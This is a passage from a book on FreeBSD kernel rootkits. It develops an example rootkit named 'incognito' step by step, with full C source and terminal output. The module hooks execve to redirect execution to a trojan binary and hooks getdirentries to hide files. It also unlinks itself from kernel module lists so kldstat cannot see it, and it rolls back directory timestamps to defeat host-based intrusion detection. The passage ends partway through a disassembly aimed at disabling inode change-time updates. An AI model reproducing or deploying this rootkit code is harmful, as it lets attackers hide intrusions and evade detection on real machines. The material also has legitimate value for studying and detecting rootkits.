5.6.2 Gotchas

Because mkdir_patch.c is a simple example, it fails to reveal some typical 
gotchas associated with inline function hooking.

First, by placing an unconditional jump within the body of a function, 
whose behavior you intend to preserve, there is a good chance that you’ll 
cause a kernel panic. This is because the unconditional jump code requires 
the use of a general-purpose register; however, it is likely that within the body 
of a function, all the general-purpose registers will already be in use. To get 
around this, push the register you are going to use onto the stack before 
jumping, and then pop it off after.

Second, if you copy a call or jump statement and place it into a different 
region of memory, you can’t execute it as is; you have to adjust its operand 
first. This is because a call or jump statement’s machine code operand is a 
relative address.

Finally, it’s possible for your code to be preempted while patching, and 
during that time, your target function may execute in its incomplete state. 
Therefore, if possible, you should avoid patching with multiple writes.

5.7 Cloaking System Call Hooks

Before concluding this chapter, let’s take a brief look at a nontrivial appli-
cation for run-time kernel memory patching: cloaking system call hooks. 
That is, implementing a system call hook without patching the system call 
table or any system call function. This is achieved by patching the system call 
dispatcher with an inline function hook so it references a Trojan system call 
table instead of the original. This renders the original table functionless, but 
maintains its integrity, enabling the Trojan table to direct system call requests 
to any handler you like.
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Because the code to do this is rather lengthy (it’s longer than 
mkdir_patch.c), I’ll simply explain how it’s done and leave the actual 
code to you.

The system call dispatcher in FreeBSD is syscall, which is implemented 
in the file /sys/i386/i386/trap.c as follows.

NOTE In the interest of saving space, any code irrelevant to this discussion is omitted.

void
syscall(frame)
        struct trapframe frame;
{
        caddr_t params;
        struct sysent *callp;
        struct thread *td = curthread;
        struct proc *p = td->td_proc;
        register_t orig_tf_eflags;
        u_int sticks;
        int error;
        int narg;
        int args[8];
        u_int code;
. . .
        if (code >= p->p_sysent->sv_size)
                callp = &p->p_sysent->sv_table[0];
        else
                �callp = &p->p_sysent->sv_table[code];
. . .
}

In syscall, line � references the system call table and stores the address 
of the system call to be dispatched into callp. Here is what this line looks like 
disassembled:

 486:   64 a1 00 00 00 00       mov    %fs:0x0,%eax
 48c:   8b 00                   mov    (%eax),%eax
 48e:   8b 80 a0 01 00 00       mov    0x1a0(%eax),%eax
 494:   8b 40 04                mov    0x4(%eax),%eax

The first instruction loads curthread, the currently running thread (i.e., 
the %fs segment register), into %eax. The first field in a thread structure is a 
pointer to its associated proc structure; hence, the second instruction loads 
the current process into %eax. The next instruction loads p_sysent into %eax. 
This can be verified, as the p_sysent field (which is a sysentvec pointer) is 
located at an offset of 0x1a0 within a proc structure. The last instruction loads 
the system call table into %eax. This can be verified, as the sv_table field is 
located at an offset of 0x4 within a sysentvec structure. This last line is the one 
you’ll need to scan for and patch. However, be aware that, depending on the 
system, the system call table can be loaded into a different general-purpose 
register.
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Also, after Trojaning the system call table, any system call modules that 
are loaded won’t work. However, since you now control the system calls 
responsible for loading a module, this can be fixed. 

That’s about it! All you really need to do is patch one spot. Of course, the 
devil is in the details. (In fact, all the gotchas I listed in Section 5.6.2 are a 
direct result of trying to patch that one spot.)

NOTE If you Trojan your own system call table, you’ll null the effects of traditional system 
call hooking. In other words, this technique of cloaking system calls can be applied 
defensively.

5.8 Concluding Remarks

Run-time kernel memory patching is one of the strongest techniques for 
modifying software logic. Theoretically, you can use it to rewrite the entire 
operating system on the fly. Furthermore, it’s somewhat difficult to detect, 
depending on where you place your patches and whether or not you use 
inline function hooks.

At the time of this writing, a technique to cloak run-time kernel memory 
patching has been published. See “Raising The Bar For Windows Rootkit 
Detection” by Jamie Butler and Sherri Sparks, published in Phrack magazine, 
issue 63. Although this article is written from a Windows perspective, the 
theory can be applied to any x86 operating system.

Finally, like most rootkit techniques, run-time kernel memory patching 
has legitimate uses. For example, Microsoft calls it hot patching and uses it to 
patch systems without requiring a reboot.
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P U T T I N G  I T  A L L  T O G E T H E R

We’ll now use the techniques from the 
previous chapters to write a complete 

example rootkit—albeit a trivial one—to 
bypass Host-based Intrusion Detection Systems 

(HIDSes).

6.1 What HIDSes Do

In general, an HIDS is designed to monitor, detect, and log the modifications 
to the files on a filesystem. That is, it is designed to detect file tampering and 
trojaned binaries. For every file, an HIDS creates a cryptographic hash of the 
file data and records it in a database; any change to a file results in a different 
hash being generated. Whenever an HIDS audits a filesystem, it compares 
the current hash of every file with its counterpart in the database; if the two 
differ, the file is flagged.

In principle this is a good idea, but . . .
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6.2 Bypassing HIDSes

The problem with HIDS software is that it trusts and uses the operating 
system’s APIs. By abusing this trust (e.g., hooking these APIs) you can bypass 
any HIDS.

NOTE It’s somewhat ironic that software designed to detect a root level compromise (e.g., the 
tampering of system binaries) would trust the underlying operating system.

The question now is, “Which calls do I hook?” The answer depends on 
what you wish to accomplish. Consider the following scenario. You have a 
FreeBSD machine with the binary shown in Listing 6-1 installed in /sbin/.

#include <stdio.h>

int main(int argc, char *argv[])
{
        printf("May the force be with you.\n");
        return(0);
}

Listing 6-1: hello.c

You want to replace that binary with a Trojan version—which simply 
prints a different debug message, shown in Listing 6-2—without alerting the 
HIDS, of course.

#include <stdio.h>

int main(int argc, char *argv[])
{
        printf("May the schwartz be with you!\n");
        return(0);
}

Listing 6-2: trojan_hello.c

This can be accomplished by performing an execution redirection (halflife, 
1997)—which simply switches the execution of one binary with another—so 
that whenever there is a request to execute hello, you intercept it and 
execute trojan_hello instead. This works because you don’t replace (or even 
touch) the original binary and, as a result, the HIDS will always calculate the 
correct hash.

There are of course some “hiccups” to this approach, but we’ll deal with 
them later, as they come up.

6.3 Execution Redirection

The execution redirection routine in the example rootkit is achieved by 
hooking the execve system call. This call is responsible for file execution and 
is implemented in the file /sys/kern/kern_exec.c as follows.
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int
execve(td, uap)
        struct thread *td;
        struct execve_args /* {
                char *fname;
                char **argv;
                char **envv;
        } */ *uap;
{
        int error;
        struct image_args args;

        �error = exec_copyin_args(&args, uap->fname, UIO_USERSPACE,
            uap->argv, uap->envv);

        if (error == 0)
                �error = kern_execve(td, &args, NULL);

        exec_free_args(&args);

        return (error);
}

Note how the execve system call � copies in its arguments (uap) from 
the user data space to a temporary buffer (args) and then � passes that 
buffer to the kern_execve function, which actually performs the file execu-
tion. This means that in order to redirect the execution of one binary into 
another, you simply have to insert a new set of execve arguments or change 
the existing one—within the current process’s user data space—before execve 
calls exec_copyin_args. Listing 6-3 (which is based on Stephanie Wehner’s 
exec.c) offers an example.

#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/syscall.h>
#include <sys/sysproto.h>

#include <vm/vm.h>
#include <vm/vm_page.h>
#include <vm/vm_map.h>

#define ORIGINAL        "/sbin/hello"
#define TROJAN          "/sbin/trojan_hello"

/*
 * execve system call hook.
 * Redirects the execution of ORIGINAL into TROJAN.
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 */
static int
execve_hook(struct thread *td, void *syscall_args)
{
        struct execve_args /* {
                char *fname;
                char **argv;
                char **envv;
        } */ *uap;
        uap = (struct execve_args *)syscall_args;

        struct execve_args kernel_ea;
        struct execve_args *user_ea;
        struct vmspace *vm;
        vm_offset_t base, addr;
        char t_fname[] = TROJAN;

        /* Redirect this process? */
        �if (strcmp(uap->fname, ORIGINAL) == 0) {
                /*
                 * Determine the end boundary address of the current
                 * process's user data space.
                 */
                vm = curthread->td_proc->p_vmspace;
                base = round_page((vm_offset_t) vm->vm_daddr);
                �addr = base + ctob(vm->vm_dsize);

                /*
                 * Allocate a PAGE_SIZE null region of memory for a new set
                 * of execve arguments.
                 */
                �vm_map_find(&vm->vm_map, NULL, 0, &addr, PAGE_SIZE, FALSE,
                    VM_PROT_ALL, VM_PROT_ALL, 0);
                vm->vm_dsize += btoc(PAGE_SIZE);

                /* 
                 * Set up an execve_args structure for TROJAN. Remember, you
                 * have to place this structure into user space, and because
                 * you can't point to an element in kernel space once you are
                 * in user space, you'll have to place any new "arrays" that
                 * this structure points to in user space as well.
                 */
                �copyout(&t_fname, (char *)addr, strlen(t_fname));
                kernel_ea.fname = (char *)addr;
                kernel_ea.argv = uap->argv;
                kernel_ea.envv = uap->envv;

                /* Copy out the TROJAN execve_args structure. */
                user_ea = (struct execve_args *)addr + sizeof(t_fname);
                �copyout(&kernel_ea, user_ea, sizeof(struct execve_args));

                /* Execute TROJAN. */
                �return(execve(curthread, user_ea));
        }
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        return(execve(td, syscall_args));
}

/* The function called at load/unload. */
static int
load(struct module *module, int cmd, void *arg)
{
        sysent[SYS_execve].sy_call = (sy_call_t *)execve_hook;

        return(0);
}

static moduledata_t incognito_mod = {
        "incognito",            /* module name */
        load,                   /* event handler */
        NULL                    /* extra data */
};

DECLARE_MODULE(incognito, incognito_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);

Listing 6-3: incognito-0.1.c

In this listing the function execve_hook � first checks the name of the file 
to be executed. If the filename is /sbin/hello, � the end boundary address 
of the current process’s user data space is stored in addr, which is then passed 
to � vm_map_find to map a PAGE_SIZE block of NULL memory there. Next, � an 
execve arguments structure is set up for the trojan_hello binary, which is then 
� inserted into the newly “allocated” user data space. Finally, � execve is 
called with the address of the trojan_hello execve_args structure as its second 
argument—effectively redirecting the execution of hello into trojan_hello.

NOTE An interesting detail about execve_hook is that, with one or two slight modifications, 
it’s the exact code required to execute a user space process from kernel space.

One additional point is also worth mentioning. Notice how, this time 
around, the event handler function does not uninstall the system call hook; 
that would require a reboot. This is because the “live” rootkit has no need for 
an unload routine—once you install it, you want it to remain installed.

The following output shows the example rootkit in action.

$ hello
May the force be with you.
$ trojan_hello
May the schwartz be with you!
$ sudo kldload ./incognito-0.1.ko
$ hello
May the schwartz be with you!

Excellent, it works. We have now effectively trojaned hello and no HIDS 
will be the wiser—except that we have placed a new binary (trojan_hello) on 
the filesystem, which any HIDS will flag. D’oh!
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6.4 File Hiding

To remedy this problem, let’s hide trojan_hello so that it doesn’t appear on 
the filesystem. This can be accomplished by hooking the getdirentries system 
call. This call is responsible for listing (i.e., returning) a directory’s contents, 
and it is implemented in the file /sys/kern/vfs_syscalls.c as follows. 

NOTE Take a look at this code and try to discern some structure in it. If you don’t understand 
all of it, don’t worry. An explanation of the getdirentries system call appears after 
this listing.

int
getdirentries(td, uap)
        struct thread *td;
        register struct getdirentries_args /* {
                int fd;
                char *buf;
                u_int count;
                long *basep;
        } */ *uap;
{
        struct vnode *vp;
        struct file *fp;
        struct uio auio;
        struct iovec aiov;
        int vfslocked;
        long loff;
        int error, eofflag;

        if ((error = getvnode(td->td_proc->p_fd, uap->fd, &fp)) != 0)
                return (error);
        if ((fp->f_flag & FREAD) == 0) {
                fdrop(fp, td);
                return (EBADF);
        }
        vp = fp->f_vnode;
unionread:
        vfslocked = VFS_LOCK_GIANT(vp->v_mount);
        if (vp->v_type != VDIR) {
                error = EINVAL;
                goto fail;
        }
        aiov.iov_base = uap->buf;
        aiov.iov_len = uap->count;
        auio.uio_iov = &aiov;
        auio.uio_iovcnt = 1;
        auio.uio_rw = UIO_READ;
        auio.uio_segflg = UIO_USERSPACE;
        auio.uio_td = td;
        auio.uio_resid = uap->count;
        /* vn_lock(vp, LK_SHARED | LK_RETRY, td); */
        vn_lock(vp, LK_EXCLUSIVE | LK_RETRY, td);
        loff = auio.uio_offset = fp->f_offset;
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#ifdef MAC
        error = mac_check_vnode_readdir(td->td_ucred, vp);
        if (error == 0)
#endif
                error = VOP_READDIR(vp, &auio, fp->f_cred, &eofflag, NULL,
                    NULL);
        fp->f_offset = auio.uio_offset;
        VOP_UNLOCK(vp, 0, td);
        if (error)
                goto fail;
        if (uap->count == auio.uio_resid) {
                if (union_dircheckp) {
                        error = union_dircheckp(td, &vp, fp);
                        if (error == -1) {
                                VFS_UNLOCK_GIANT(vfslocked);
                                goto unionread;
                        }
                        if (error)
                                goto fail;
                }
                /*
                 * XXX We could delay dropping the lock above but
                 * union_dircheckp complicates things.
                 */
                vn_lock(vp, LK_EXCLUSIVE | LK_RETRY, td);
                if ((vp->v_vflag & VV_ROOT) &&
                    (vp->v_mount->mnt_flag & MNT_UNION)) {
                        struct vnode *tvp = vp;
                        vp = vp->v_mount->mnt_vnodecovered;
                        VREF(vp);
                        fp->f_vnode = vp;
                        fp->f_data = vp;
                        fp->f_offset = 0;
                        vput(tvp);
                        VFS_UNLOCK_GIANT(vfslocked);
                        goto unionread;
                }
                VOP_UNLOCK(vp, 0, td);
        }
        if (uap->basep != NULL) {
                error = copyout(&loff, uap->basep, sizeof(long));
        }
        �td->td_retval[0] = uap->count - auio.uio_resid;
fail:
        VFS_UNLOCK_GIANT(vfslocked);
        fdrop(fp, td);
        return (error);
}

The getdirentries system call reads in the directory entries referenced by 
the directory (i.e., the file descriptor) fd into the buffer buf. Put more simply, 
getdirentries gets directory entries. If successful, � the number of bytes 
actually transferred is returned. Otherwise, -1 is returned and the global 
variable errno is set to indicate the error.
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The directory entries read into buf are stored as a series of dirent struc-
tures, defined in the <sys/dirent.h> header as follows:

struct dirent {
        __uint32_t d_fileno;            /* inode number */
        __uint16_t d_reclen;            /* length of this directory entry */
        __uint8_t  d_type;              /* file type */
        __uint8_t  d_namlen;            /* length of the filename */
#if __BSD_VISIBLE
#define MAXNAMLEN       255
        char    d_name[MAXNAMLEN + 1];  /* filename */
#else
        char    d_name[255 + 1];        /* filename */
#endif
};

As this listing shows, the context of each directory entry is maintained 
in a dirent structure. This means that in order to hide a file on the filesystem, 
you simply have to prevent getdirentries from storing the file’s dirent structure 
in buf. Listing 6-4 is an example rootkit adapted to do just that (based on 
pragmatic’s file-hiding routine, 1999).

NOTE In the interest of saving space, I haven’t relisted the execution redirection routine (i.e., 
the execve_hook function) in its entirety.

#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/syscall.h>
#include <sys/sysproto.h>
#include <sys/malloc.h>

#include <vm/vm.h>
#include <vm/vm_page.h>
#include <vm/vm_map.h>

#include <dirent.h>

#define ORIGINAL        "/sbin/hello"
#define TROJAN          "/sbin/trojan_hello"
#define T_NAME          "trojan_hello"

/*
 * execve system call hook.
 * Redirects the execution of ORIGINAL into TROJAN.
 */
static int
execve_hook(struct thread *td, void *syscall_args)
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{
. . .
}

/*
 * getdirentries system call hook.
 * Hides the file T_NAME.
 */
static int
getdirentries_hook(struct thread *td, void *syscall_args)
{
        struct getdirentries_args /* {
                int fd;
                char *buf;
                u_int count;
                long *basep;
        } */ *uap;
        uap = (struct getdirentries_args *)syscall_args;

        struct dirent *dp, *current;
        unsigned int size, count;

        /*
         * Store the directory entries found in fd in buf, and record the
         * number of bytes actually transferred.
         */
        �getdirentries(td, syscall_args);
        size = td->td_retval[0];

        /* Does fd actually contain any directory entries? */
        �if (size > 0) {
                MALLOC(dp, struct dirent *, size, M_TEMP, M_NOWAIT);
                �copyin(uap->buf, dp, size);

                current = dp;
                count = size;

                /*
                 * Iterate through the directory entries found in fd.
                 * Note: The last directory entry always has a record length
                 * of zero.
                 */
                while ((current->d_reclen != 0) && (count > 0)) {
                        count -= current->d_reclen;

                        /* Do we want to hide this file? */
                        �if(strcmp((char *)&(current->d_name), T_NAME) == 0)
                        {
                                /*
                                 * Copy every directory entry found after
                                 * T_NAME over T_NAME, effectively cutting it
                                 * out.
                                 */
                                if (count != 0)
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                                        �bcopy((char *)current +
                                            current->d_reclen, current,
                                            count);

                                size -= current->d_reclen;
                                break;
                        }

                        /*
                         * Are there still more directory entries to
                         * look through?
                         */
                        if (count != 0)
                                /* Advance to the next record. */
                                current = (struct dirent *)((char *)current +
                                    current->d_reclen);
                }

                /*
                 * If T_NAME was found in fd, adjust the "return values" to
                 * hide it. If T_NAME wasn't found...don't worry 'bout it.
                 */
                �td->td_retval[0] = size;
                �copyout(dp, uap->buf, size);

                FREE(dp, M_TEMP);
        }

        return(0);
}

/* The function called at load/unload. */
static int
load(struct module *module, int cmd, void *arg)
{
        sysent[SYS_execve].sy_call = (sy_call_t *)execve_hook;
        sysent[SYS_getdirentries].sy_call = (sy_call_t *)getdirentries_hook;

        return(0);
}

static moduledata_t incognito_mod = {
        "incognito",            /* module name */
        load,                   /* event handler */
        NULL                    /* extra data */
};

DECLARE_MODULE(incognito, incognito_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);

Listing 6-4: incognito-0.2.c

In this code the function getdirentries_hook � first calls getdirentries 
in order to store the directory entries found in fd in buf. Next, � the number 
of bytes actually transferred is checked, and if it’s greater than zero (i.e., if 
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fd actually contains any directory entries) � the contents of buf (which is a 
series of dirent structures) are copied into kernel space. Afterward, � the 
filename of each dirent structure is compared with the constant T_NAME (which 
is trojan_hello, in this case). If a match is found, � the “lucky” dirent struc-
ture is removed from the kernel space copy of buf, which is eventually � copied 
back out, overwriting the contents of buf and effectively hiding T_NAME (i.e., 
trojan_hello). Additionally, to keep things consistent, � the number of bytes 
actually transferred is adjusted to account for “losing” this dirent structure.

Now, if you install the new rootkit, you get:

$ ls /sbin/t*
/sbin/trojan_hello /sbin/tunefs
$ sudo kldload ./incognito-0.2.ko
$ hello
May the schwartz be with you!
$ ls /sbin/t*
/sbin/tunefs

Wonderful. We have now effectively trojaned hello without leaving a 
footprint on the filesystem.1 Of course, none of this matters since a simple 
kldstat(8) reveals the rootkit:

$ kldstat
Id Refs Address    Size     Name
 1    4 0xc0400000 63070c   kernel
 2   16 0xc0a31000 568dc    acpi.ko
 3    1 0xc1ebc000 2000     incognito-0.2.ko

Darn it!

6.5 Hiding a KLD

To remedy this problem, we’ll employ some DKOM to hide the rootkit, 
which is, technically, a KLD.

Recall from Chapter 1 that whenever you load a KLD into the kernel, 
you are actually loading a linker file that contains one or more kernel 
modules. As a result, whenever a KLD is loaded, it is stored on two different 
lists: linker_files and modules. As their names imply, linker_files contains 
the set of loaded linker files, while modules contains the set of loaded kernel 
modules.

As with the previous DKOM code, the KLD hiding routine will traverse 
both of these lists in a safe manner and remove the structure(s) of your 
choosing.

1  Actually, you can still find trojan_hello with ls /sbin/trojan_hello, because direct lookups 
aren’t blocked. Blocking the file from a direct lookup isn’t too hard, but it is tedious. You will 
need to hook open(2), stat(2), and lstat(2), and have them return ENOENT whenever the file 
is /sbin/trojan_hello.
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6.5.1 The linker_files List

The linker_files list is defined in the file /sys/kern/kern_linker.c as follows:

static linker_file_list_t linker_files;

Notice that linker_files is declared as of type linker_file_list_t, which is 
defined in the <sys/linker.h> header as follows:

typedef TAILQ_HEAD(, linker_file) linker_file_list_t;

From these listings, you can see that linker_files is simply a doubly-linked 
tail queue of linker_file structures.

An interesting detail about linker_files is that it has an associated counter, 
which is defined in the file /sys/kern/kern_linker.c as:

static int next_file_id = 1;

When a linker file is loaded (i.e., whenever an entry is added to 
linker_files), its file ID number becomes the current value of next_file_id, 
which is then increased by one.

Another interesting detail about linker_files is that, unlike the other lists 
in this book, it is not protected by a dedicated lock; this forces us to make use 
of Giant. Giant is, more or less, the “catchall” lock designed to protect the 
entire kernel. It is defined in the <sys/mutex.h> header as follows:

extern struct mtx Giant;

NOTE In FreeBSD 6.0, linker_files does have an associated lock, which is named kld_mtx. 
However, kld_mtx doesn’t really protect linker_files, which is why we use Giant 
instead. In FreeBSD version 7, linker_files is protected by an sx lock.

6.5.2 The linker_file Structure
The context of each linker file is maintained in a linker_file structure, which is 
defined in the <sys/linker.h> header. The following list describes the fields in 
struct linker_file that you’ll need to understand in order to hide a linker file.

int refs;
This field maintains the linker file’s reference count.

An important point to note is that the very first linker_file structure 
on linker_files is the current kernel image, and whenever a linker file is 
loaded, this structure’s refs field is increased by one, as illustrated below:

$ kldstat
Id Refs Address    Size     Name
 1    3 0xc0400000 63070c   kernel
 2   16 0xc0a31000 568dc    acpi.ko
$ sudo kldload ./incognito-0.2.ko
$ kldstat
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Id Refs Address    Size     Name
 1    4 0xc0400000 63070c   kernel
 2   16 0xc0a31000 568dc    acpi.ko
 3    1 0xc1e89000 2000     incognito-0.2.ko

As you can see, prior to loading incognito-0.2.ko, the current kernel 
image’s reference count is 3, but afterward, it’s 4. Thus, when hiding a 
linker file, you have to remember to decrease the current kernel image’s 
refs field by one.

TAILQ_ENTRY(linker_file) link;
This field contains the linkage pointers that are associated with the 
linker_file structure, which is stored on the linker_files list. This field 
is referenced during insertion, removal, and traversal of linker_files.

char* filename;
This field contains the linker file’s name.

6.5.3 The modules List

The modules list is defined in the file /sys/kern/kern_module.c as follows:

static modulelist_t modules;

Notice that modules is declared as of type modulelist_t, which is defined in 
the file /sys/kern/kern_module.c as follows:

typedef TAILQ_HEAD(, module) modulelist_t;

From these listings, you can see that modules is simply a doubly-linked tail 
queue of module structures.

Like the linker_files list, modules also has an associated counter, which is 
defined in the file /sys/kern/kern_module.c as:

static int nextid = 1;

For every kernel module that is loaded, its modid becomes the current 
value of nextid, which is then increased by one.

The resource access control associated with the modules list is defined in 
the <sys/module.h> header as follows:

extern struct sx modules_sx;

6.5.4 The module Structure

The context of each kernel module is maintained in a module structure, 
which is defined in the file /sys/kern/kern_module.c. The following list 
describes the fields in struct module that you’ll need to understand in order 
to hide a kernel module.
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TAILQ_ENTRY(module) link;
This field contains the linkage pointers that are associated with the 
module structure, which is stored on the modules list. This field is refer-
enced during insertion, removal, and traversal of modules.

char* name;
This field contains the kernel module’s name.

6.5.5 Example
Listing 6-5 shows the new-and-improved rootkit, which can now hide itself. 
It works by removing its linker_file and module structure from the linker_files 
and modules lists. To keep things consistent, it also decrements the current 
kernel image’s reference count, the linker files counter (next_file_id), and 
the modules counter (nextid) by one.

NOTE To save space, I haven’t relisted the execution redirection and file hiding routines.

#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/syscall.h>
#include <sys/sysproto.h>
#include <sys/malloc.h>

#include <sys/linker.h>
#include <sys/lock.h>
#include <sys/mutex.h>

#include <vm/vm.h>
#include <vm/vm_page.h>
#include <vm/vm_map.h>

#include <dirent.h>

#define ORIGINAL        "/sbin/hello"
#define TROJAN          "/sbin/trojan_hello"
#define T_NAME          "trojan_hello"
#define VERSION         "incognito-0.3.ko"

/*
 * The following is the list of variables you need to reference in order
 * to hide this module, which aren't defined in any header files.
 */
extern linker_file_list_t linker_files;
extern struct mtx kld_mtx;
extern int next_file_id;



Put t ing It  A l l  Togethe r 105

typedef TAILQ_HEAD(, module) modulelist_t;
extern modulelist_t modules;
extern int nextid;
struct module {
        TAILQ_ENTRY(module)     link;   /* chain together all modules */
        TAILQ_ENTRY(module)     flink;  /* all modules in a file */
        struct linker_file      *file;  /* file which contains this module */
        int                     refs;   /* reference count */
        int                     id;     /* unique id number */
        char                    *name;  /* module name */
        modeventhand_t          handler; /* event handler */
        void                    *arg;   /* argument for handler */
        modspecific_t           data;   /* module specific data */
};

/*
 * execve system call hook.
 * Redirects the execution of ORIGINAL into TROJAN.
 */
static int
execve_hook(struct thread *td, void *syscall_args)
{
. . .
}

/*
 * getdirentries system call hook.
 * Hides the file T_NAME.
 */
static int
getdirentries_hook(struct thread *td, void *syscall_args)
{
. . .
}

/* The function called at load/unload. */
static int
load(struct module *module, int cmd, void *arg)
{
        struct linker_file *lf;
        struct module *mod;

        mtx_lock(&Giant);
        mtx_lock(&kld_mtx);

        /* Decrement the current kernel image's reference count. */
        (&linker_files)->tqh_first->refs--;

        /*
         * Iterate through the linker_files list, looking for VERSION.
         * If found, decrement next_file_id and remove from list.
         */
        TAILQ_FOREACH(lf, &linker_files, link) {
                if (strcmp(lf->filename, VERSION) == 0) {
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                        next_file_id--;
                        TAILQ_REMOVE(&linker_files, lf, link);
                        break;
                }
        }

        mtx_unlock(&kld_mtx);
        mtx_unlock(&Giant);

        sx_xlock(&modules_sx);

        /*
         * Iterate through the modules list, looking for "incognito."
         * If found, decrement nextid and remove from list.
         */
        TAILQ_FOREACH(mod, &modules, link) {
                if (strcmp(mod->name, "incognito") == 0) {
                        nextid--;
                        TAILQ_REMOVE(&modules, mod, link);
                        break;
                }
        }

        sx_xunlock(&modules_sx);

        sysent[SYS_execve].sy_call = (sy_call_t *)execve_hook;
        sysent[SYS_getdirentries].sy_call = (sy_call_t *)getdirentries_hook;

        return(0);
}

static moduledata_t incognito_mod = {
        "incognito",            /* module name */
        load,                   /* event handler */
        NULL                    /* extra data */
};

DECLARE_MODULE(incognito, incognito_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);

Listing 6-5: incognito-0.3.c

Now, loading the above KLD gives us:

$ kldstat
Id Refs Address    Size     Name
 1    3 0xc0400000 63070c   kernel
 2   16 0xc0a31000 568dc    acpi.ko
$ sudo kldload ./incognito-0.3.ko
$ hello
May the schwartz be with you!
$ ls /sbin/t*
/sbin/tunefs
$ kldstat
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Id Refs Address    Size     Name
 1    3 0xc0400000 63070c   kernel
 2   16 0xc0a31000 568dc    acpi.ko

Note how the output of kldstat(8) is the same before and after installing 
the rootkit—groovy!

At this point, you can redirect the execution of hello into trojan_hello 
while hiding both trojan_hello and the rootkit itself from the system (which, 
subsequently, makes it unloadable). There is just one more problem. When 
you install trojan_hello into /sbin/, the directory’s access, modification, and 
change times update—a dead giveaway that something is amiss.

6.6 Preventing Access, Modification, and Change Time 
Updates

Because the access and modification times on a file can be set, you can 
“prevent” them from updating by just rolling them back. Listing 6-6 dem-
onstrates how:

#include <errno.h>
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/stat.h>

int
main(int argc, char *argv[])
{
        struct stat sb;
        struct timeval time[2];

        �if (stat("/sbin", &sb) < 0) {
                fprintf(stderr, "STAT ERROR: %d\n", errno);
                exit(-1);
        }

        �time[0].tv_sec = sb.st_atime;
        time[1].tv_sec = sb.st_mtime;

        /*
         * Do something to /sbin/.
         */

        �if (utimes("/sbin", (struct timeval *)&time) < 0) {
                fprintf(stderr, "UTIMES ERROR: %d\n", errno);
                exit(-1);
        }

        exit(0);
}

Listing 6-6: rollback.c
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The preceding code first � calls the function stat to obtain the /sbin/ 
directory’s filesystem information. This information is placed into the 
variable sb, a stat structure defined by the <sys/stat.h> header. The fields 
of struct stat relevant to our discussion are as follows:

time_t    st_atime;             /* time of last access */
time_t    st_mtime;             /* time of last data modification */

Next, � /sbin/’s access and modification times are stored within time[], 
an array of two timeval structures, defined in the <sys/_timeval.h> header as 
follows:

struct timeval {
        long            tv_sec;         /* seconds */
        suseconds_t     tv_usec;        /* and microseconds */
};

Finally, � the function utimes is called to set (or roll back) /sbin/’s 
access and modification times, effectively “preventing” them from updating.

6.6.1 Change Time

Unfortunately, the change time cannot be set or rolled back, because that 
would go against its intended purpose, which is to record all file status 
changes, including “corrections” to the access or modification times. The 
function responsible for updating an inode’s change time (along with its 
access and modification times) is ufs_itimes, which is implemented in the 
file /sys/ufs/ufs/ufs_vnops.c as follows:

void
ufs_itimes(vp)
        struct vnode *vp;
{
        struct inode *ip;
        struct timespec ts;

        ip = VTOI(vp);
        if ((ip->i_flag & (IN_ACCESS | IN_CHANGE | IN_UPDATE)) == 0)
                return;
        if ((vp->v_type == VBLK || vp->v_type == VCHR) && !DOINGSOFTDEP(vp))
                ip->i_flag |= IN_LAZYMOD;
        else
                ip->i_flag |= IN_MODIFIED;
        if ((vp->v_mount->mnt_flag & MNT_RDONLY) == 0) {
                vfs_timestamp(&ts);
                if (ip->i_flag & IN_ACCESS) {
                        DIP_SET(ip, i_atime, ts.tv_sec);
                        DIP_SET(ip, i_atimensec, ts.tv_nsec);
                }
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                if (ip->i_flag & IN_UPDATE) {
                        DIP_SET(ip, i_mtime, ts.tv_sec);
                        DIP_SET(ip, i_mtimensec, ts.tv_nsec);
                        ip->i_modrev++;
                }
                if (ip->i_flag & IN_CHANGE) {
                        DIP_SET(ip, i_ctime, ts.tv_sec);
                        DIP_SET(ip, i_ctimensec, ts.tv_nsec);
                }
        }
        ip->i_flag &= ~(IN_ACCESS | IN_CHANGE | IN_UPDATE);
}

If you nop out the lines shown in bold, you can effectively prevent all 
updates to an inode’s change time.

That being said, you need to know what these lines (i.e., the DIP_SET 
macro) look like once they’re loaded in main memory.

$ nm /boot/kernel/kernel | grep ufs_itimes
c06c0e60 T ufs_itimes
$ objdump -d --start-address=0xc06c0e60 /boot/kernel/kernel

/boot/kernel/kernel:     file format elf32-i386-freebsd

Disassembly of section .text:

c06c0e60 <ufs_itimes>:
c06c0e60:       55                      push   %ebp
c06c0e61:       89 e5                   mov    %esp,%ebp
c06c0e63:       83 ec 14                sub    $0x14,%esp
c06c0e66:       89 5d f8                mov    %ebx,0xfffffff8(%ebp)
c06c0e69:       8b 4d 08                mov    0x8(%ebp),%ecx
c06c0e6c:       89 75 fc                mov    %esi,0xfffffffc(%ebp)
c06c0e6f:       8b 59 0c                mov    0xc(%ecx),%ebx
c06c0e72:       8b 53 10                mov    0x10(%ebx),%edx
c06c0e75:       f6 c2 07                test   $0x7,%dl
c06c0e78:       74 1f                   je     c06c0e99 <ufs_itimes+0x39>
c06c0e7a:       8b 01                   mov    (%ecx),%eax
c06c0e7c:       83 e8 03                sub    $0x3,%eax
c06c0e7f:       83 f8 01                cmp    $0x1,%eax
c06c0e82:       76 1f                   jbe    c06c0ea3 <ufs_itimes+0x43>
c06c0e84:       83 ca 08                or     $0x8,%edx
c06c0e87:       89 53 10                mov    %edx,0x10(%ebx)
c06c0e8a:       8b 41 10                mov    0x10(%ecx),%eax
c06c0e8d:       f6 40 6c 01             testb  $0x1,0x6c(%eax)
c06c0e91:       74 2d                   je     c06c0ec0 <ufs_itimes+0x60>
c06c0e93:       83 e2 f8                and    $0xfffffff8,%edx
c06c0e96:       89 53 10                mov    %edx,0x10(%ebx)
c06c0e99:       8b 5d f8                mov    0xfffffff8(%ebp),%ebx
c06c0e9c:       8b 75 fc                mov    0xfffffffc(%ebp),%esi
c06c0e9f:       89 ec                   mov    %ebp,%esp
c06c0ea1:       5d                      pop    %ebp
